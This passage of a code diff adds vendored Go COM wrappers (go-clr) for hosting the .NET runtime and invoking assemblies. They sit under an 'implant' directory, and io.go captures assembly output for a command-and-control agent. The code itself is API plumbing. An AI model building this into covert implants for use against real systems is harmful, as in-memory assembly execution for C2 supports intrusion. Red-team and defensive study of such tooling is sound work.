+		err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}
+
+// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
+// HRESULT CreateDomain (
+//   [in] LPWSTR    pwzFriendlyName,
+//   [in] IUnknown* pIdentityArray,
+//   [out] void   **pAppDomain
+// );
+// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
+func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
+	debugPrint("Entering into icorruntimehost.CreateDomain()...")
+	hr, _, err := syscall.Syscall6(
+		obj.vtbl.CreateDomain,
+		4,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR    pwzFriendlyName - An optional parameter used to give a friendly name to the domain
+		uintptr(unsafe.Pointer(nil)),             // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
+		uintptr(unsafe.Pointer(&pAppDomain)),     // [out] IUnknown** pAppDomain
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		// The specified procedure could not be found.
+		// TODO Why is this error message returned?
+		debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}
+
+// EnumDomains Gets an enumerator for the domains in the current process.
+// HRESULT EnumDomains (
+//   [out] HCORENUM *hEnum
+// );
+func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
+	debugPrint("Enterin into icorruntimehost.EnumDomains()...")
+
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.EnumDomains,
+		(uintptr(unsafe.Pointer(hEnum))),
+		0,
+		0,
+		0,
+	)
+
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/ienumunknown.go

@@ -0,0 +1,82 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+)
+
+type IEnumUnknown struct {
+	vtbl *IEnumUnknownVtbl
+}
+
+// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
+// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
+// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
+type IEnumUnknownVtbl struct {
+	QueryInterface uintptr
+	AddRef         uintptr
+	Release        uintptr
+	// Next Retrieves the specified number of items in the enumeration sequence.
+	Next uintptr
+	// Skip Skips over the specified number of items in the enumeration sequence.
+	Skip uintptr
+	// Reset Resets the enumeration sequence to the beginning.
+	Reset uintptr
+	// Clone Creates a new enumerator that contains the same enumeration state as the current one.
+	Clone uintptr
+}
+
+func (obj *IEnumUnknown) AddRef() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+func (obj *IEnumUnknown) Release() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+// Next retrieves the specified number of items in the enumeration sequence.
+// HRESULT Next(
+//   ULONG    celt,
+//   IUnknown **rgelt,
+//   ULONG    *pceltFetched
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
+func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
+	debugPrint("Entering into ienumunknown.Next()...")
+	hr, _, err := syscall.Syscall6(
+		obj.vtbl.Next,
+		4,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(celt),
+		uintptr(pEnumRuntime),
+		uintptr(unsafe.Pointer(pceltFetched)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
+		return
+	}
+	if hr != S_OK && hr != S_FALSE {
+		err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	hresult = int(hr)
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/ierrorinfo.go

@@ -0,0 +1,117 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+type IErrorInfo struct {
+	vtbl *IErrorInfoVtbl
+}
+
+// IErrorInfoVtbl returns information about an error in addition to the return code.
+// It returns the error message, name of the component and GUID of the interface in
+// which the error occurred, and the name and topic of the Help file that applies to the error.
+// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
+type IErrorInfoVtbl struct {
+	// QueryInterface Retrieves pointers to the supported interfaces on an object.
+	QueryInterface uintptr
+	// AddRef Increments the reference count for an interface pointer to a COM object.
+	// You should call this method whenever you make a copy of an interface pointer.
+	AddRef uintptr
+	// Release Decrements the reference count for an interface on a COM object.
+	Release uintptr
+	// GetDescription Returns a text description of the error
+	GetDescription uintptr
+	// GetGUID Returns the GUID of the interface that defined the error.
+	GetGUID uintptr
+	// GetHelpContext Returns the Help context ID for the error.
+	GetHelpContext uintptr
+	// GetHelpFile Returns the path of the Help file that describes the error.
+	GetHelpFile uintptr
+	// GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
+	GetSource uintptr
+}
+
+// GetDescription Returns a text description of the error.
+// HRESULT GetDescription (
+//   BSTR *pbstrDescription);
+// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
+func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
+	debugPrint("Entering into ierrorinfo.GetDescription()...")
+
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.GetDescription,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&pbstrDescription)),
+		0,
+	)
+
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}
+
+// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
+// HRESULT GetGUID(
+//   GUID *pGUID
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
+func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
+	debugPrint("Entering into ierrorinfo.GetGUID()...")
+
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.GetGUID,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(pGUID)),
+		0,
+	)
+
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}
+
+// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
+// HRESULT GetErrorInfo(
+//   ULONG      dwReserved,
+//   IErrorInfo **pperrinfo
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
+func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
+	debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
+	modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
+	procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
+	hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/io.go

@@ -0,0 +1,200 @@
+// +build windows
+
+package clr
+
+import (
+	"bufio"
+	"bytes"
+	"fmt"
+	"os"
+	"sync"
+	"time"
+
+	"golang.org/x/sys/windows"
+)
+
+// origSTDOUT is a Windows Handle to the program's original STDOUT
+var origSTDOUT = windows.Stdout
+
+// origSTDERR is a Windows Handle to the program's original STDERR
+var origSTDERR = windows.Stderr
+
+// rSTDOUT is an io.Reader for STDOUT
+var rSTDOUT *os.File
+
+// wSTDOUT is an io.Writer for STDOUT
+var wSTDOUT *os.File
+
+// rSTDERR is an io.Reader for STDERR
+var rSTDERR *os.File
+
+// wSTDERR is an io.Writer for STDERR
+var wSTDERR *os.File
+
+// Stdout is a buffer to collect anything written to STDOUT
+// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
+// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
+// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
+// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
+var Stdout bytes.Buffer
+
+// Stderr is a buffer to collect anything written to STDERR
+var Stderr bytes.Buffer
+
+// errors is used to capture an errors from a goroutine
+var errors = make(chan error)
+
+// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
+var mutex = &sync.Mutex{}
+
+// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
+// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
+// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
+func RedirectStdoutStderr() (err error) {
+	// Create a new reader and writer for STDOUT
+	rSTDOUT, wSTDOUT, err = os.Pipe()
+	if err != nil {
+		err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
+		return
+	}
+
+	// Createa new reader and writer for STDERR
+	rSTDERR, wSTDERR, err = os.Pipe()
+	if err != nil {
+		err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
+		return
+	}
+
+	// Set STDOUT/STDERR to the new files from os.Pipe()
+	// https://docs.microsoft.com/en-us/windows/console/setstdhandle
+	if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
+		err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
+		return
+	}
+
+	if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
+		err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
+		return
+	}
+
+	// Start STDOUT/STDERR buffer and collection
+	go BufferStdout()
+	go BufferStderr()
+
+	return
+}
+
+// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
+// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
+// using the restored handles
+func RestoreStdoutStderr() error {
+	if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
+		return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
+	}
+	if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
+		return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
+	}
+	return nil
+}
+
+// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
+// Only use when RedirectStdoutStderr was previously called
+func ReadStdoutStderr() (stdout string, stderr string, err error) {
+	debugPrint("Entering into io.ReadStdoutStderr()...")
+
+	// Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
+	// Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
+	// Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
+	// returned because parent program is perpetually running
+	time.Sleep(1 * time.Microsecond)
+
+	// Check the error channel to see if any of the goroutines generated an error
+	if len(errors) > 0 {
+		var totalErrors string
+		for e := range errors {
+			totalErrors += e.Error()
+		}
+		err = fmt.Errorf(totalErrors)
+		return
+	}
+
+	// Read STDOUT Buffer
+	if Stdout.Len() > 0 {
+		stdout = Stdout.String()
+		Stdout.Reset()
+	}
+
+	// Read STDERR Buffer
+	if Stderr.Len() > 0 {
+		stderr = Stderr.String()
+		Stderr.Reset()
+	}
+	return
+}
+
+// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
+// that was changed to an *os.File
+func CloseStdoutStderr() (err error) {
+	err = rSTDOUT.Close()
+	if err != nil {
+		err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
+		return
+	}
+
+	err = wSTDOUT.Close()
+	if err != nil {
+		err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
+		return
+	}
+
+	err = rSTDERR.Close()
+	if err != nil {
+		err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
+		return
+	}
+
+	err = wSTDERR.Close()
+	if err != nil {
+		err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
+		return
+	}
+	return nil
+}
+
+// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
+// and collect it into a buffer so that it can be collected and sent back to a server
+func BufferStdout() {
+	debugPrint("Entering into io.BufferStdout()...")
+	stdoutReader := bufio.NewReader(rSTDOUT)
+	for {
+		// Standard STDOUT buffer size is 4k
+		buf := make([]byte, 4096)
+		line, err := stdoutReader.Read(buf)
+		if err != nil {
+			errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
+		}
+		if line > 0 {
+			// Remove null bytes and add contents to the buffer
+			Stdout.Write(bytes.TrimRight(buf, "\x00"))
+		}
+	}
+}
+
+// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
+// and collect it into a buffer so that it can be collected and sent back to a server
+func BufferStderr() {
+	debugPrint("Entering into io.BufferStderr()...")
+	stderrReader := bufio.NewReader(rSTDERR)
+	for {
+		// Standard STDOUT buffer size is 4k
+		buf := make([]byte, 4096)
+		line, err := stderrReader.Read(buf)
+		if err != nil {
+			errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
+		}
+		if line > 0 {
+			// Remove null bytes and add contents to the buffer
+			Stderr.Write(bytes.TrimRight(buf, "\x00"))
+		}
+	}
+}

implant/vendor/github.com/Ne0nd0g/go-clr/isupporterrorinfo.go

@@ -0,0 +1,123 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
+// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
+type ISupportErrorInfo struct {
+	vtbl *ISupportErrorInfoVtbl
+}
+
+type ISupportErrorInfoVtbl struct {
+	// QueryInterface Retrieves pointers to the supported interfaces on an object.
+	QueryInterface uintptr
+	// AddRef Increments the reference count for an interface pointer to a COM object.
+	// You should call this method whenever you make a copy of an interface pointer.
+	AddRef uintptr
+	// Release Decrements the reference count for an interface on a COM object.
+	Release uintptr
+	// InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
+	// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
+	InterfaceSupportsErrorInfo uintptr
+}
+
+// QueryInterface queries a COM object for a pointer to one of its interface;
+// identifying the interface by a reference to its interface identifier (IID).
+// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
+// HRESULT QueryInterface(
+//   REFIID riid,
+//   void   **ppvObject
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
+func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+	debugPrint("Entering into iunknown.QueryInterface()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.QueryInterface,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+		uintptr(ppvObject),
+	)
+	if err != syscall.Errno(0) {
+		return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+// AddRef Increments the reference count for an interface pointer to a COM object.
+// You should call this method whenever you make a copy of an interface pointer
+// ULONG AddRef();
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
+func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
+	debugPrint("Entering into iunknown.AddRef()...")
+	ret, _, err := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
+	}
+	err = nil
+	// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+	count = *(*uint32)(unsafe.Pointer(ret))
+	return
+}
+
+// Release Decrements the reference count for an interface on a COM object.
+// ULONG Release();
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
+func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
+	debugPrint("Entering into iunknown.Release()...")
+	ret, _, err := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
+	}
+	err = nil
+	// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+	count = *(*uint32)(unsafe.Pointer(ret))
+	return
+}
+
+// InterfaceSupportsErrorInfo
+// HRESULT InterfaceSupportsErrorInfo(
+//   REFIID riid
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
+func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
+	debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.InterfaceSupportsErrorInfo,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&riid)),
+		0,
+	)
+	if err != syscall.Errno(0) {
+		return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}

implant/vendor/github.com/Ne0nd0g/go-clr/iunknown.go

@@ -0,0 +1,99 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+type IUnknown struct {
+	vtbl *IUnknownVtbl
+}
+
+// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
+// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
+// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
+// methods in IUnknown are the first entries in the vtable for every interface.
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
+type IUnknownVtbl struct {
+	// QueryInterface Retrieves pointers to the supported interfaces on an object.
+	QueryInterface uintptr
+	// AddRef Increments the reference count for an interface pointer to a COM object.
+	// You should call this method whenever you make a copy of an interface pointer.
+	AddRef uintptr
+	// Release Decrements the reference count for an interface on a COM object.
+	Release uintptr
+}
+
+// QueryInterface queries a COM object for a pointer to one of its interface;
+// identifying the interface by a reference to its interface identifier (IID).
+// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
+// HRESULT QueryInterface(
+//   REFIID riid,
+//   void   **ppvObject
+// );
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
+func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+	debugPrint("Entering into iunknown.QueryInterface()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.QueryInterface,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+		uintptr(ppvObject),
+	)
+	if err != syscall.Errno(0) {
+		return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+// AddRef Increments the reference count for an interface pointer to a COM object.
+// You should call this method whenever you make a copy of an interface pointer
+// ULONG AddRef();
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
+func (obj *IUnknown) AddRef() (count uint32, err error) {
+	debugPrint("Entering into iunknown.AddRef()...")
+	ret, _, err := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
+	}
+	err = nil
+	// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+	count = *(*uint32)(unsafe.Pointer(ret))
+	return
+}
+
+// Release Decrements the reference count for an interface on a COM object.
+// ULONG Release();
+// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
+func (obj *IUnknown) Release() (count uint32, err error) {
+	debugPrint("Entering into iunknown.Release()...")
+	ret, _, err := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
+	}
+	err = nil
+	// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+	count = *(*uint32)(unsafe.Pointer(ret))
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/methodinfo.go

@@ -0,0 +1,207 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+// from mscorlib.tlh
+
+type MethodInfo struct {
+	vtbl *MethodInfoVtbl
+}
+
+// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
+// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
+// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
+// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
+// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
+// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
+type MethodInfoVtbl struct {
+	QueryInterface                 uintptr
+	AddRef                         uintptr
+	Release                        uintptr
+	GetTypeInfoCount               uintptr
+	GetTypeInfo                    uintptr
+	GetIDsOfNames                  uintptr
+	Invoke                         uintptr
+	get_ToString                   uintptr
+	Equals                         uintptr
+	GetHashCode                    uintptr
+	GetType                        uintptr
+	get_MemberType                 uintptr
+	get_name                       uintptr
+	get_DeclaringType              uintptr
+	get_ReflectedType              uintptr
+	GetCustomAttributes            uintptr
+	GetCustomAttributes_2          uintptr
+	IsDefined                      uintptr
+	GetParameters                  uintptr
+	GetMethodImplementationFlags   uintptr
+	get_MethodHandle               uintptr
+	get_Attributes                 uintptr
+	get_CallingConvention          uintptr
+	Invoke_2                       uintptr
+	get_IsPublic                   uintptr
+	get_IsPrivate                  uintptr
+	get_IsFamily                   uintptr
+	get_IsAssembly                 uintptr
+	get_IsFamilyAndAssembly        uintptr
+	get_IsFamilyOrAssembly         uintptr
+	get_IsStatic                   uintptr
+	get_IsFinal                    uintptr
+	get_IsVirtual                  uintptr
+	get_IsHideBySig                uintptr
+	get_IsAbstract                 uintptr
+	get_IsSpecialName              uintptr
+	get_IsConstructor              uintptr
+	Invoke_3                       uintptr
+	get_returnType                 uintptr
+	get_ReturnTypeCustomAttributes uintptr
+	GetBaseDefinition              uintptr
+}
+
+func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
+	debugPrint("Entering into methodinfo.QueryInterface()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.QueryInterface,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
+		uintptr(ppvObject),
+	)
+	if err != syscall.Errno(0) {
+		return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
+	}
+	if hr != S_OK {
+		return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
+	}
+	return nil
+}
+
+func (obj *MethodInfo) AddRef() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+func (obj *MethodInfo) Release() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
+//      virtual HRESULT __stdcall Invoke_3 (
+//      /*[in]*/ VARIANT obj,
+//      /*[in]*/ SAFEARRAY * parameters,
+//      /*[out,retval]*/ VARIANT * pRetVal ) = 0;
+// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
+func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
+	debugPrint("Entering into methodinfo.Invoke_3()...")
+	var pRetVal *Variant
+	hr, _, err := syscall.Syscall6(
+		obj.vtbl.Invoke_3,
+		4,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&variantObj)),
+		uintptr(unsafe.Pointer(parameters)),
+		uintptr(unsafe.Pointer(pRetVal)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
+		return
+	}
+
+	// If the HRESULT is a TargetInvocationException, attempt to get the inner error
+	// This currentl doesn't work
+	if uint32(hr) == COR_E_TARGETINVOCATION {
+		var iSupportErrorInfo *ISupportErrorInfo
+		// See if MethodInfo supports the ISupportErrorInfo interface
+		err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
+		if err != nil {
+			err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
+			return
+		}
+
+		// See if the ICorRuntimeHost interface supports the IErrorInfo interface
+		// Not sure if there is an Interface ID for MethodInfo
+		err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
+		if err != nil {
+			err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
+			return
+		}
+
+		// Get the IErrorInfo object
+		iErrorInfo, errG := GetErrorInfo()
+		if errG != nil {
+			err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
+			return err
+		}
+
+		// Read the IErrorInfo description
+		desc, errD := iErrorInfo.GetDescription()
+		if errD != nil {
+			err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
+			return err
+		}
+		if desc == nil {
+			err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
+			return
+		}
+		err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+
+	if pRetVal != nil {
+		err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
+		return
+	}
+	err = nil
+	return
+}
+
+// GetString returns a string that represents the current object
+// a string version of the method's signature
+// public virtual string ToString ();
+// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
+func (obj *MethodInfo) GetString() (str string, err error) {
+	debugPrint("Entering into methodinfo.GetString()...")
+	var object *string
+	hr, _, err := syscall.Syscall(
